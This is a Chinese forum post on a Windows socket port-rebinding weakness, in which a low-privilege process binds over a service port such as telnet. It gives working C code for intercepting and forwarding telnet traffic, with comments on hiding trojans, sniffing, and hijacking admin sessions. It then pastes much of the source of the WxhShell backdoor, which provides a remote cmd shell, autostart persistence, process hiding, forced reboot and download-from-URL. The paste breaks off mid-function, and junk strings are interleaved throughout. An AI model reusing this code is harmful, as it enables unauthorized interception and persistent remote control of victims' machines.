社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12750阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: cvcZ\y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )at:Xm<s  
si&du  
  saddr.sin_family = AF_INET; # WjQ'c:  
5V 2ZAYV  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T]wC?gQG  
'VV U-)(8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )qx;/=D  
G]h_z|$K  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 B=Kr J{&!  
;*?>w|t}w  
  这意味着什么?意味着可以进行如下的攻击: SM~~:  
cfmLErkp  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,h=a+ja8  
,^bgk -x-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :2lpl%/  
=!-}q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ge`GQ>  
'p5M|h\:T  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (IV\s Y  
NL]_;\ h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K/9Jx(I,qL  
pW+uVv,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 { <Gyjq  
;PaU"z+Je~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 NU=2*gM  
G^B> C  
  #include RB4n>&Y  
  #include .I_atv  
  #include 7"eK<qJ  
  #include    <M\&zHv  
  DWORD WINAPI ClientThread(LPVOID lpParam);   he(K   
  int main() E5i5gE"\  
  { LZ wCe$1  
  WORD wVersionRequested; yF\yxdUX#  
  DWORD ret; wa<k%_# M  
  WSADATA wsaData; 3qTr|8`s  
  BOOL val; t U}6^yc  
  SOCKADDR_IN saddr; ~!ooIwNNz  
  SOCKADDR_IN scaddr; Q u2 ~wp<  
  int err; ,>aa2  
  SOCKET s; D?#l8  
  SOCKET sc; A6[FH\f  
  int caddsize; gcnX^[`S  
  HANDLE mt; * WV=Xp  
  DWORD tid;   /"J 6``MV  
  wVersionRequested = MAKEWORD( 2, 2 ); NCh-BinK@  
  err = WSAStartup( wVersionRequested, &wsaData ); ;8oe-xS\+  
  if ( err != 0 ) { ' pgP QM<  
  printf("error!WSAStartup failed!\n"); ZBDF>u@  
  return -1; t+ w{uwEY  
  } a X1b(h2  
  saddr.sin_family = AF_INET; (zFqb,P  
   Mf14> `<`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wU|@fm"  
+D5gbxZX  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -i?gY F!G  
  saddr.sin_port = htons(23); %16Lo<DPm  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,c"J[$i$  
  { VwH|ed$  
  printf("error!socket failed!\n"); !Ew ff|v"  
  return -1; TC-Vzk G|  
  } 46]BRL2 G  
  val = TRUE; * EGzFXa  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |&"aZ!Kn  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |\dv$`_T  
  { -$"$r ~ad  
  printf("error!setsockopt failed!\n"); =Rx4ZqTI|  
  return -1; keC'/\e  
  } YzjRD:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; HnArj_E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Btxtu"]nJo  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |kK5:\H  
tTBDb  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I#xdksY  
  { WP*}X7IS  
  ret=GetLastError(); t$du|q(  
  printf("error!bind failed!\n"); rO>'QZ%  
  return -1; /69yR   
  } >%;i@"  
  listen(s,2); ?PWg  
  while(1) K ,NmDc^  
  { 8Azh&c  
  caddsize = sizeof(scaddr); Mv%Qze,\V^  
  //接受连接请求 el`?:dY H  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); y>}r  
  if(sc!=INVALID_SOCKET) h&K$(}X  
  { R& t*x  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Hrpz4E%\Aw  
  if(mt==NULL) V\m"Hl>VIU  
  { .O"a:^i  
  printf("Thread Creat Failed!\n"); kf>3T@  
  break; 8OZasf  
  } =q0V%h{  
  } ( 0/M?YQF  
  CloseHandle(mt); i=\)[;U  
  } QTBc_Z  
  closesocket(s); VOD-< "|  
  WSACleanup(); Awa| (]  
  return 0;  nBp6uNK[  
  }   rwJ U;wy  
  DWORD WINAPI ClientThread(LPVOID lpParam) /%g9g_rt#  
  { qK7:[\T|?T  
  SOCKET ss = (SOCKET)lpParam; w^Y/J4 I0  
  SOCKET sc; ViiJDYT>E<  
  unsigned char buf[4096]; ('J@GTe@xj  
  SOCKADDR_IN saddr; aC`>~uX##V  
  long num; k*?T^<c3  
  DWORD val; D& pn@6bB  
  DWORD ret; 4ams~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 C<C$df  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {,JO}Dmu5  
  saddr.sin_family = AF_INET; Mq<ob+  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;Tnid7:S  
  saddr.sin_port = htons(23); `$Rgn3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Hghd Ts  
  { jz_Y|"{`v  
  printf("error!socket failed!\n"); X PyDZk/m  
  return -1; Qu[QcB{ro-  
  } _|["}M"?  
  val = 100; ss%,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i*/i"W<  
  { ;ZUj2WxE  
  ret = GetLastError(); Ez~5ax7x  
  return -1; "7y, d%H  
  } *JDz0M4f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T='uqKW\  
  { 4*qBu}(  
  ret = GetLastError(); ]O@iT= *3  
  return -1; I3.. Yk%7  
  } BeLD`4K  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Rm=p}  
  { hUi@T}aA|  
  printf("error!socket connect failed!\n"); DAb/B  
  closesocket(sc); ;iuwIdo6c  
  closesocket(ss); tgKr*8t{  
  return -1; D%]S>g5k  
  } 'Z~ZSu  
  while(1) is8i_FoD,n  
  { `{:Nt#7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ht;Rz*}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 GIzB1cl:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 SPE)db3  
  num = recv(ss,buf,4096,0); v^@)&,  
  if(num>0) H9)n<r  
  send(sc,buf,num,0); I;NW!"pU  
  else if(num==0) `;Tf_6c  
  break; ywJ [WfCY  
  num = recv(sc,buf,4096,0); ZwBz\jmbP  
  if(num>0) IMwV9rF  
  send(ss,buf,num,0); KbLSK  
  else if(num==0) w{aGH/LN  
  break; ~Pw9[ycn3  
  } *|Vf1R]  
  closesocket(ss); :ZY%-]u7  
  closesocket(sc); ) n O ^Ay  
  return 0 ; }R<t=):  
  } t9U6\ru  
]0*aE  
iSO xQ  
==========================================================  q6F1Rt  
< 8' b  
下边附上一个代码,,WXhSHELL F2}Fuupb.  
ybiTWM  
========================================================== 7JBs7LG  
pF8$83S  
#include "stdafx.h" t$nJmfzm  
k)-+ZmMOh  
#include <stdio.h> m@XX2l9:9  
#include <string.h> ISC>]`  
#include <windows.h> ;/$pxD  
#include <winsock2.h> |1!fuB A  
#include <winsvc.h> tV(iC~/  
#include <urlmon.h> ,5 ka{Q`K  
((A@VcX  
#pragma comment (lib, "Ws2_32.lib") 0a89<yX  
#pragma comment (lib, "urlmon.lib") Ob]\t/:%P  
b5)^g+8)w  
#define MAX_USER   100 // 最大客户端连接数 "b`#RohCi  
#define BUF_SOCK   200 // sock buffer  _C5i\Y)  
#define KEY_BUFF   255 // 输入 buffer \)/qCeiZ  
:4V5p =v-  
#define REBOOT     0   // 重启 9< ?w9D.1  
#define SHUTDOWN   1   // 关机 <&b,%O  
@>O7/d?O  
#define DEF_PORT   5000 // 监听端口 [T r7SU#x  
Dst;sLr[,  
#define REG_LEN     16   // 注册表键长度 s`=| D'G(=  
#define SVC_LEN     80   // NT服务名长度 9f0`HvHC  
y[$UeE"0  
// 从dll定义API 3R< r[3WP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w3,KqF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )1Bz0:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C`[2B0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C{/U;Ie-b  
#).^k-  
// wxhshell配置信息 u!D?^:u=)  
struct WSCFG { a?+C]u?_D  
  int ws_port;         // 监听端口 c;]\$#2  
  char ws_passstr[REG_LEN]; // 口令 y_Lnk=Q ^  
  int ws_autoins;       // 安装标记, 1=yes 0=no n )X%&_  
  char ws_regname[REG_LEN]; // 注册表键名 ]2m=lt1  
  char ws_svcname[REG_LEN]; // 服务名 NW6;7nWb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z~Q5<A9Jz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1R8tR#l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !O"2)RU1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :;Z/$M16B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?MFC(Wsh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \m|5Aqs  
OE(y$+L3_I  
}; D Z*c.|W  
F'[Y.tA ,#  
// default Wxhshell configuration aQ(P#n>a2  
struct WSCFG wscfg={DEF_PORT, u_WUJ_  
    "xuhuanlingzhe", E|;>!MMA;  
    1, Fxa{ 9'99  
    "Wxhshell", ,|RKM  
    "Wxhshell", JvXuN~fI{[  
            "WxhShell Service", poafGoH-Y  
    "Wrsky Windows CmdShell Service", WVyDE1K <  
    "Please Input Your Password: ", uB"B{:Kz  
  1, fGV'l__\\  
  "http://www.wrsky.com/wxhshell.exe", Fy5:|C N  
  "Wxhshell.exe" {H,O@  
    }; OSO MFt  
m&=Dy5  
// 消息定义模块 t }4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b)IQa,enH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8g8eY pG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %TI3Eb  
char *msg_ws_ext="\n\rExit."; ;v]C8}L^  
char *msg_ws_end="\n\rQuit."; vX>{1`e{S  
char *msg_ws_boot="\n\rReboot..."; ^E/6 vG  
char *msg_ws_poff="\n\rShutdown..."; [@qjy*5p  
char *msg_ws_down="\n\rSave to "; $A~aNI  
ILDO/>n  
char *msg_ws_err="\n\rErr!"; &V axv$v}  
char *msg_ws_ok="\n\rOK!"; A\S=>[ar-  
p,z>:3M  
char ExeFile[MAX_PATH]; vW.f`J,\D'  
int nUser = 0; JG^GEJ  
HANDLE handles[MAX_USER]; 4PD5i  
int OsIsNt; )kjQ W&)g  
w|G7h=  
SERVICE_STATUS       serviceStatus; fPTLPcPP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TqN@l\  
>{Ayzz>v  
// 函数声明 1^]IuPxq  
int Install(void); #7H0I8  
int Uninstall(void); }0<2n~3P  
int DownloadFile(char *sURL, SOCKET wsh); pWE(?d_M{G  
int Boot(int flag); uG'S&8i_  
void HideProc(void); h(@.bt#  
int GetOsVer(void); XPrnQJ  
int Wxhshell(SOCKET wsl); zfDfy!\2_  
void TalkWithClient(void *cs); L:_{bE|TY  
int CmdShell(SOCKET sock); yqx!{8=V  
int StartFromService(void); c[,Rh f  
int StartWxhshell(LPSTR lpCmdLine); ~ 1TT?H  
=W')jKe0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }#.OJub  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MjQ>& fUK  
6miXaAA8  
// 数据结构和表定义 D@X"1X!F`G  
SERVICE_TABLE_ENTRY DispatchTable[] = ;C=d( pY  
{ -}xK> ["  
{wscfg.ws_svcname, NTServiceMain}, y)|d`qC\  
{NULL, NULL} N:64Gko"K  
}; Z/ml ,4e  
u)EtEl7Wq  
// 自我安装 5/6Jq  
int Install(void) N4qBCBr(  
{ bO$KV"*!  
  char svExeFile[MAX_PATH]; xH28\]F5n  
  HKEY key; <J~6Q  
  strcpy(svExeFile,ExeFile); _0 4 3,  
]Rf$&7`g{  
// 如果是win9x系统,修改注册表设为自启动 F&p42!"  
if(!OsIsNt) { U43U2/^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t^B s3;E^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {TJ "O  
  RegCloseKey(key); TPx0LDk%(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,b^jAzow  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 30w(uF  
  RegCloseKey(key); 8@;R2]Q  
  return 0; IV1O/lGp  
    } '%e@7Cs  
  } g}6M+QNj  
} |2TH[J_a  
else { N 49{J~  
KJ&I4CU]^  
// 如果是NT以上系统,安装为系统服务 'p!&&.%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,*V%  
if (schSCManager!=0) pdN8 hJ  
{ TG?>;It&  
  SC_HANDLE schService = CreateService  fZap\  
  ( J7WNgl% u  
  schSCManager, zvnd@y{[  
  wscfg.ws_svcname, /!5cf;kl*l  
  wscfg.ws_svcdisp, m_  wvi  
  SERVICE_ALL_ACCESS, 8:I-?z;S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , StNA(+rT  
  SERVICE_AUTO_START, &!:mL],  
  SERVICE_ERROR_NORMAL, 0%rE*h9+  
  svExeFile, wmbG$T%k  
  NULL, Mf5*Wjz.Mc  
  NULL, 4Af7x6a;  
  NULL, DcRoW  
  NULL, }`0=\cKqn  
  NULL ou)0tX3j  
  ); vfDX~_N  
  if (schService!=0) ooa"Th<  
  { Ug#B( }/  
  CloseServiceHandle(schService); 6R3/"&P(/#  
  CloseServiceHandle(schSCManager); Y*jkUQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C@XnV=J  
  strcat(svExeFile,wscfg.ws_svcname); 4%yeEc ;z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FD~uUZTM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YuO!Y9iEm  
  RegCloseKey(key); ;l `(1Q/  
  return 0; A] 'XC"lS  
    } 6~!7?FK  
  } G!F_Q7|-  
  CloseServiceHandle(schSCManager); ~O /B  
} Wb^g{F!W  
} XGnC8Be{4  
-q-BP}r3  
return 1; F&+_z&n)  
} SrWmV@"y  
|BbrB[+ v[  
// 自我卸载 \Z/0i|  
int Uninstall(void) CF_2ez1u0y  
{ Z2]\k|%<Fa  
  HKEY key; /T&+vzCF  
#zn`)n  
if(!OsIsNt) { S6yLq|W0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6l|SGt\  
  RegDeleteValue(key,wscfg.ws_regname); WR* <|  
  RegCloseKey(key); cR6 #$-a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \S?;5LacZ  
  RegDeleteValue(key,wscfg.ws_regname); 1$yS Ii  
  RegCloseKey(key); 2+YM .Zl  
  return 0; YMwL(m1  
  } |' kC9H[>  
} DT]3q4__Q  
} G@dw5EfF9  
else { ]MMXpj,9h  
I'R|B\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); srU*1jD)  
if (schSCManager!=0) 'Hq#9?<2M  
{ tF!C']  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Oh=Kl3xs  
  if (schService!=0) c<)O#i@3/  
  { C !Lu`y  
  if(DeleteService(schService)!=0) { w^ 8^0i-  
  CloseServiceHandle(schService); f1Gyl  
  CloseServiceHandle(schSCManager); gEq";B%?  
  return 0; l2 #^}-  
  } > lK:~~1  
  CloseServiceHandle(schService); GtqA@&5&  
  } c#[d7t8ONe  
  CloseServiceHandle(schSCManager); a&n}pnEn)  
} u |ru$cIo  
} Eds{-x|10  
"SwM%j  
return 1; XXW.Uios  
} 1 u~.^O}J  
{*qz<U >  
// 从指定url下载文件 iS8yJRy  
int DownloadFile(char *sURL, SOCKET wsh) u,S}4p&l  
{ G:PcV_ihx  
  HRESULT hr; MOP#to)k&  
char seps[]= "/"; Oufdi3h  
char *token; G8hDR^ra  
char *file; rEs Gf+4  
char myURL[MAX_PATH]; ^;mGOjS  
char myFILE[MAX_PATH]; <:0d%YB)  
lz0'E'%{P  
strcpy(myURL,sURL); FPuF1@K  
  token=strtok(myURL,seps); j2!^iGS}  
  while(token!=NULL) z]Mu8  
  { 6Y= MW{=F  
    file=token; `SESj)W(y  
  token=strtok(NULL,seps); 6:Zd,N=  
  } l$!g# ?w  
oIY@xuj  
GetCurrentDirectory(MAX_PATH,myFILE); [/eRc  
strcat(myFILE, "\\"); 6[C>"s}Ol  
strcat(myFILE, file); ]0@ J)Z09  
  send(wsh,myFILE,strlen(myFILE),0); fK9wr@1  
send(wsh,"...",3,0); [YQ` `  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vM /D7YS:  
  if(hr==S_OK) @I0[B<,:G  
return 0; I/w=!Ih  
else pS<j>y  
return 1; |^kfa_d  
8`  f=E h  
} P'CDV3+  
-]vPF|  
// 系统电源模块 c9xc@G!  
int Boot(int flag) zF=E5TL-,4  
{ Ru^j~Cj5  
  HANDLE hToken; <-a6'g2y  
  TOKEN_PRIVILEGES tkp; -MH~1Tw6Z  
9iQc\@eGd  
  if(OsIsNt) { S"joXmJ/-C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7S]akcT/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ejPK-jxCa/  
    tkp.PrivilegeCount = 1; )3KQ QGi8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "DNiVL.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x[H9<&)D  
if(flag==REBOOT) { %'i`Chc^!;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6`hHx=L  
  return 0; o;Ma)/P  
} .R>4'#8q  
else { J |TA12s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n g?kl|VG  
  return 0; Lr`G. e  
} El`f>o+EJ  
  } aY@st]p  
  else { lip1wR7  
if(flag==REBOOT) { $P%b?Y/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }CXL\, ;  
  return 0; _^pg!j[Fy}  
} =M+enSu  
else { zkRL'-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `$, \B  
  return 0; Z3]ut #`  
} ")ZsY9-P  
} F~_)auH  
N=P+b%%:Z  
return 1; F`\7&'I  
} ZI'Mr:z4  
A#B6]j)  
// win9x进程隐藏模块 34\:1z+s M  
void HideProc(void) u|a+ :r)*4  
{ <[mvfw  
i=G.{.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); atO/Tp  
  if ( hKernel != NULL ) !@[@xdV  
  { w- .=u3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m"Y|xvIA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AmmUoS\  
    FreeLibrary(hKernel); g` QbJ61a  
  } ]ZOzqh_0C  
`CXAE0Fx  
return; j4G?=oDb  
} ;^j 2>Azn  
$5)ZaYx<  
// 获取操作系统版本 OAiip,  
int GetOsVer(void) g0BJj=  
{ s&7,gWy}BE  
  OSVERSIONINFO winfo; =5sUpP V(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tu6Q7CjW8  
  GetVersionEx(&winfo); oAgO 3x   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f}1R,N_fC  
  return 1; +u:Q+PkM  
  else ,TAzJ  
  return 0; `II/nv0jn  
} U0kEhMIIf  
_jW}p-j  
// 客户端句柄模块 H,!3s<1  
int Wxhshell(SOCKET wsl) ?!J{Mrdn  
{ m pWmExQ  
  SOCKET wsh; K8UgP?c;0  
  struct sockaddr_in client; elBmF#,j 7  
  DWORD myID; _g(4-\  
&_EjP hZ  
  while(nUser<MAX_USER) @Gj|X>0  
{ MQv2C@K9F  
  int nSize=sizeof(client); Ux Yb[Nbc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M)oy3y^&  
  if(wsh==INVALID_SOCKET) return 1; 62X;gb  
ag$mc8-p[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6(`Bl$M9  
if(handles[nUser]==0) hK t c  
  closesocket(wsh); ~#b&UR  
else .WR+)^&zz  
  nUser++; 5)MVkJ=R  
  } V@xlm h,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <d\Lvo[  
9)a:8/Y  
  return 0; /k(KA [bS  
} "c6(=FFq  
 OBY  
// 关闭 socket Q( C\X  
void CloseIt(SOCKET wsh) t6u01r{~`  
{ xCOC5f5*@  
closesocket(wsh); CR-6}T   
nUser--; QJaF6>m  
ExitThread(0); V+mTo^  
} JZ5N Q)sX  
"@JSF  
// 客户端请求句柄 X~O2!F  
void TalkWithClient(void *cs) xsq+RBJi  
{ F~cvob{  
SV4a_m?  
  SOCKET wsh=(SOCKET)cs; 2<*DL 6  
  char pwd[SVC_LEN]; =jX'FNv#  
  char cmd[KEY_BUFF]; ;c'9Xyl-  
char chr[1]; Q_bF^4gt  
int i,j; h] (BTb#-  
qd9CKd  
  while (nUser < MAX_USER) { mE"?{~XVL  
(YbRYu  
if(wscfg.ws_passstr) { k{op,n#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q]Fm4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'L w4jq  
  //ZeroMemory(pwd,KEY_BUFF); z@nJ-*'U8  
      i=0; pm-SDp>s  
  while(i<SVC_LEN) { tkFGGc}w\  
wsyG~^>  
  // 设置超时  6[<*C?  
  fd_set FdRead; s:j"8ZH  
  struct timeval TimeOut; ==[a7|q  
  FD_ZERO(&FdRead); $ePBw~yu  
  FD_SET(wsh,&FdRead); I$o^F/RH  
  TimeOut.tv_sec=8; *;~*S4/P   
  TimeOut.tv_usec=0; / ;U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B*+3A!{s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); idLysxN  
QeYO)sc`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HeagT(rN'  
  pwd=chr[0]; K; 7o+Xr  
  if(chr[0]==0xd || chr[0]==0xa) { (LW4z8e#  
  pwd=0; 0ivlKe%  
  break; 5YlY=J  
  } Dl kHE8r\  
  i++; (GVH#}uB  
    } =|lKB;  
NzmVQ-4  
  // 如果是非法用户,关闭 socket Fg3VD(D^U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +UxhSFU  
} *TpzX y  
P< +5So0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KWVEAHIn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); un4q,Ac~0  
%rpJZ t  
while(1) { F)we^'X  
L~yu  
  ZeroMemory(cmd,KEY_BUFF); G:f\wK[  
"#H@d+u  
      // 自动支持客户端 telnet标准   J`T1 88  
  j=0; (~~*PT-  
  while(j<KEY_BUFF) { !%' 1 x2?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :/N/u5.]  
  cmd[j]=chr[0]; &C eG4_Mi  
  if(chr[0]==0xa || chr[0]==0xd) { 7q&//*%yF  
  cmd[j]=0; 9]AiaV9  
  break; 3@ a  
  } JJHr<|K  
  j++; WxE4r  
    } yJx{6  
KgtMrT5<q  
  // 下载文件 stDrF1{  
  if(strstr(cmd,"http://")) { fUh7PF%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D"WqJcDt  
  if(DownloadFile(cmd,wsh)) 6N}>@Y5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `mro2A  
  else 8Z TN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r)P^CZm  
  } ;\@co5.=  
  else { olNgtSX  
T~%}(0=m  
    switch(cmd[0]) { =9UR~-`d\  
  cTO\Vhg  
  // 帮助 8Wn;U!qT  
  case '?': { wN[mU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bWN%dn$$M  
    break; ,EyZ2`|  
  } ;P9P2&c8c  
  // 安装 h)[{{JSf  
  case 'i': { =yv_i]9AN  
    if(Install()) W\s ]qsLS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j';V(ZY&BB  
    else 6#S}EaWf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i5  x[1  
    break; `T H0*:aI  
    } Wq_#46P-  
  // 卸载 bT|N Z!V  
  case 'r': { j tdhdA  
    if(Uninstall()) j9zK=eG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]UG+<V ,:  
    else ]Mu + DZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8r^~`rL  
    break; ;[*jLi,uc  
    } @1#QbNp#  
  // 显示 wxhshell 所在路径 jseyT#2  
  case 'p': { ! 6kLL  
    char svExeFile[MAX_PATH];  y{h y  
    strcpy(svExeFile,"\n\r"); +{V"a<D$m  
      strcat(svExeFile,ExeFile); V`OeJVe  
        send(wsh,svExeFile,strlen(svExeFile),0); ]I9Hbw  
    break; ~]HeoQK  
    } 6iwIEb  
  // 重启 yvxdl=s  
  case 'b': { 6Q<^,`/T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [AzQP!gi  
    if(Boot(REBOOT)) i{8T 8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r<]Db&k   
